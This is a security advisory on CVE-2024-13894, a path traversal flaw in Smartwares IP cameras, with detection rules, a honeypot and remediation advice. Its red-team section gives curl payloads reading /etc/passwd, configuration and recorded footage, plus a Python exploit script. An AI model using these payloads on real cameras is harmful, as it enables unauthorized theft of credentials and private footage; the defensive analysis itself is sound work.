CVE-2024-13894

Executive Summary

CVE-2024-13894 exposes a critical path traversal vulnerability in Smartwares IP cameras (models CIP-37210AT and C724IP, and others sharing firmware up to version 3.3.0). When the device is paired with a mobile app, it opens TCP port 10000, allowing unauthenticated users to download arbitrary files by manipulating file paths. The vendor has not responded to disclosure attempts, leaving the patching status unknown. This vulnerability enables attackers to exfiltrate sensitive data such as configuration files, credentials, and recorded footage without authentication.

No supply chain package ecosystem (NPM, PyPI, Go, Ruby) is affected.

CVSS Breakdown & Threat Level

While no official CVSS vector is published, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – full file read.
• Integrity (I): None (N) – no write capability.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: High – unauthenticated remote file disclosure with no user interaction.

Deep Dive & Mechanics

The vulnerability resides in the HTTP service listening on TCP port 10000, which is exposed when the camera is connected to the Smartwares mobile app. This service provides an API endpoint to retrieve snapshots captured at specific timestamps. The endpoint accepts a file path parameter without proper sanitization or validation.

Root Cause: The application fails to restrict directory traversal sequences (e.g., ../). An attacker can supply paths like ../../etc/passwd or ../../mnt/config/system.conf to read arbitrary files from the camera’s filesystem.

Attack Flow:

1. Attacker scans for Smartwares cameras with port 10000 open.
2. Attacker sends a crafted HTTP GET request to the vulnerable endpoint with a path traversal payload.
3. The server reads the requested file and returns its contents in the HTTP response.
4. Attacker exfiltrates sensitive data (credentials, Wi-Fi keys, cloud tokens, recorded footage).

Impact: Full compromise of camera configuration, network credentials, and potential pivot to internal networks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable endpoint handler
def get_snapshot(request):
    file_path = request.GET.get('path')
    # No sanitization – directly reads file
    with open(file_path, 'rb') as f:
        return f.read()

Patched Code (Conceptual):

import os

def get_snapshot(request):
    file_path = request.GET.get('path')
    # Restrict to allowed directory
    base_dir = '/mnt/snapshots/'
    safe_path = os.path.normpath(os.path.join(base_dir, file_path))
    # Ensure the resolved path starts with base_dir
    if not safe_path.startswith(base_dir):
        return "Access denied", 403
    with open(safe_path, 'rb') as f:
        return f.read()

Key Difference: The patched version normalizes the path and verifies it remains within an allowed directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Smartwares camera (CIP-37210AT or C724IP) with firmware <= 3.3.0
• Attacker machine with curl or Python
• Network connectivity to the camera’s port 10000

Exploitation Steps:

1. Identify target:

   nmap -p 10000 <target_ip>
   

2. Enumerate available endpoints:

   curl -v http://<target_ip>:10000/
   

3. Exploit path traversal to read /etc/passwd:

   curl "http://<target_ip>:10000/snapshot?path=../../../etc/passwd"
   

4. Read camera configuration (example path):

   curl "http://<target_ip>:10000/snapshot?path=../../../mnt/config/system.conf"
   

5. Download recorded footage:

   curl "http://<target_ip>:10000/snapshot?path=../../../mnt/sd/record/2024/01/01/12/00.mp4" -o footage.mp4
   

Automated Exploit (Python):

import requests
import sys

target = sys.argv[1]
file_path = sys.argv[2] if len(sys.argv) > 2 else "../../../etc/passwd"

url = f"http://{target}:10000/snapshot?path={file_path}"
response = requests.get(url)

if response.status_code == 200:
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Blue Team (Defensive)

Detection & Response:

• Monitor for HTTP requests to port 10000 containing ../ or ..%2f patterns.
• Alert on unusual file paths in the path parameter (e.g., /etc/, /mnt/config/).
• Block outbound connections from cameras to unknown IPs.
• Isolate cameras on a separate VLAN with strict egress filtering.

Honeypot Deployment:

• Deploy a fake Smartwares camera service on port 10000 that logs all requests.
• Use the following Python honeypot:

import socket
import logging

logging.basicConfig(filename='honeypot.log', level=logging.INFO)

def handle_client(conn, addr):
    data = conn.recv(1024).decode()
    logging.info(f"Request from {addr}: {data}")
    conn.send(b"HTTP/1.1 200 OK\r\n\r\nFake response")
    conn.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('0.0.0.0', 10000))
sock.listen(5)
while True:
    conn, addr = sock.accept()
    handle_client(conn, addr)

Indicators of Compromise (IOCs)

Network IOCs:

• TCP connections to port 10000 on Smartwares cameras.
• HTTP GET requests with path parameter containing ../ or ..%2f.
• Outbound data transfers from camera to external IPs on non-standard ports.

File IOCs:

• Unauthorized access to /etc/passwd, /etc/shadow, /mnt/config/system.conf.
• Presence of files like ../../../tmp/exploit.sh on the camera.

Host IOCs:

• Unusual processes running on the camera (e.g., nc, telnet, bash).
• Modified system binaries or configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_13894_Smartwares_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Smartwares cameras on port 10000"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13894"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/mnt/config"
        $sensitive3 = "/mnt/sd"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: Smartwares Camera Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Smartwares cameras with path traversal patterns on port 10000
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..%2f'
            - '%2e%2e%2f'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of snapshot feature (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 10000 (msg:"CVE-2024-13894 Smartwares Camera Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/snapshot?path="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable port 10000 if not required: Block inbound access to port 10000 on the camera’s network segment.
2. Isolate cameras on a separate VLAN with strict firewall rules (allow only necessary outbound traffic to cloud services).
3. Monitor logs for path traversal attempts.

Long-Term Fixes:

• Vendor patch: Contact Smartwares and demand a firmware update that sanitizes file paths.
• Workaround: If possible, upgrade to a newer firmware version (though vulnerability may persist).
• Replace hardware: Consider replacing affected cameras with models from vendors that provide security updates.

Compensating Controls:

• Deploy a WAF (Web Application Firewall) in front of the camera network to block path traversal payloads.
• Use network segmentation to prevent direct internet access to cameras.
• Implement strict egress filtering to prevent data exfiltration.

Valters IT – Securing Digital Frontiers